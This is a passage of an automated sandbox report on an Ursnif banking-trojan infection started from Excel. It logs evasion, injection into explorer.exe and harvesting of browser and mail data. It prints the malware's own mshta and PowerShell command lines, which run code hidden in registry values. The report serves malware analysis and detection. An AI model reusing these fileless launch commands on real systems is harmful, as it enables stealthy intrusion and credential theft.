Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003ADDB8

4_2_003ADDB8

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

Section loaded: OutputDebugStringW count: 168

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetCurrentThreadId,GetCursorPos,WaitForSingleObject,

4_2_003B8940

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vl8o3v8u.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8pjpp9kb.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003ADDB8

4_2_003ADDB8

Source: C:\Windows\System32\mshta.exe TID: 408	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2680	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\ipconfig.exe TID: 2236	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\ipconfig.exe TID: 2236	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003851E8 GetModuleHandleA,70D9FFF6,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	4_2_003851E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00477AA8 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,CloseHandle,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,	4_2_00477AA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02359B00 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,	4_2_02359B00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0234E8CE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,	4_2_0234E8CE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02349945 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,	4_2_02349945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02349F54 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,CloseHandle,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,	4_2_02349F54
Source: C:\Windows\explorer.exe	Code function: 28_2_0291EEAC FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,	28_2_0291EEAC
Source: C:\Windows\explorer.exe	Code function: 28_2_0291537C FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,	28_2_0291537C

Source: C:\Windows\SysWOW64\rundll32.exe

4_2_0234BB01

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003A1078 GetSystemInfo,

4_2_003A1078

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini

Source: control.exe, 0000001A.00000003.2385378340.00000000000DC000.00000004.00000001.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Anti Debugging:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0234F304 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey,

4_2_0234F304

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0235FEA3 StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler,		4_2_0235FEA3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B72C4 ConvertStringSecurityDescriptorToSecurityDescriptorA,RtlAddVectoredExceptionHandler,		20_2_028B72C4

Source: C:\Windows\SysWOW64\rundll32.exe

Memory protected: page write copy | page execute | page execute read | page execute and read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Compiles code for process injection (via .Net compiler)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\vl8o3v8u.0.cs

Jump to dropped file

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread created: C:\Windows\explorer.exe EIP: 76F819A0

Hijacks the control flow in another process

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: PID: 1388 base: 76F819A0 value: FF

Injects code into the Windows Explorer (explorer.exe)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 1388 base: 76F819A0 value: EB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 1388 base: 2560000 value: A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: PID: 1388 base: 76F819A0 value: FF

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\explorer.exe	Section loaded: unknown target: unknown protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 1388
Source: C:\Windows\explorer.exe	Thread register set: target process: 3060

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\control.exe base: FFF12E54	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\control.exe base: FFF12E54	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 76F819A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 2560000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\explorer.exe base: 76F819A0

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES6C1D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC6C1C.tmp'
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES8BAE.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8BAD.tmp'
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: unknown

Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\47278A61-FA3B-119B-3C6B-CED530CFE2D9\\\CRPPcapi'));if(!window.flag)close()</script>'

Language, Device and Operating System Detection:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0047A446 cpuid

4_2_0047A446

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	4_2_003853A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetACP,	4_2_0038C3B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	4_2_0038ADFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	4_2_0038AE48
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	4_2_003854AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	4_2_00385C98
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	4_2_00385C96

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0234DEE0 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError,

4_2_0234DEE0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003898C8 GetLocalTime,

4_2_003898C8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0047A446 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

4_2_0047A446

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_00431146 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

4_2_00431146

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Overwrites Mozilla Firefox settings

Show sources

Source: C:\Windows\explorer.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\prefs.js

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.2321839049.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321796165.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321745663.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2455042419.0000000002936000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321730520.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321759010.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2416998966.0000000002890000.00000040.00000001.sdmp, type: MEMORY

Searches for Windows Mail specific files

Show sources

Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail account<.oeaccount
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail unknown
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail unknown

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\59C02561138E71C7237CBC3288BF172D8DF80F79
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\CD054398D4C8F7E0F984E5C9895F3CE31CC87DD9
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\339A4E96E26DFFA4704F0AF081D2B85B12D03939
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\B32C5865A88F2CD8FDBF2030BCB0763B059A1088
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\1CA6B5DA175F6418512B23A5A017803597A480EB
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\34DC0D4BCA039E40FAC014DB99C037C817105B9F
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\065910A062E51C85C91C2EE807B329EFE5711F5C
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\AD7A5673189C3D8259E7B3FE0033E19E1674CC68
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\649FFC13DDEC1DBA9F414E044964903168569E56
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\0B42EA5C9D9EFD01C140C78669B38B9FE2EC7FF9
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\B22D1793116439B747286991833479A623FC4674
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\D6D7AC0B3D4DAC40D7A42CBE0FCCD3EF6B2BB312
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\77BEB77D9CC969C39958CC4A5EBACAF025E09EA4
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\08A8D56DDA6D87D47C4B2F4F1B528495275BC613
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\D6917E8702435738DCE3CD40A6F91B6122C65D11
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\B7DB036074231ACC212F58CA5B8AF0545A418060
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\F1B5C3EDE100D4A38A0A28F1CEF6FAEFB619EC1B
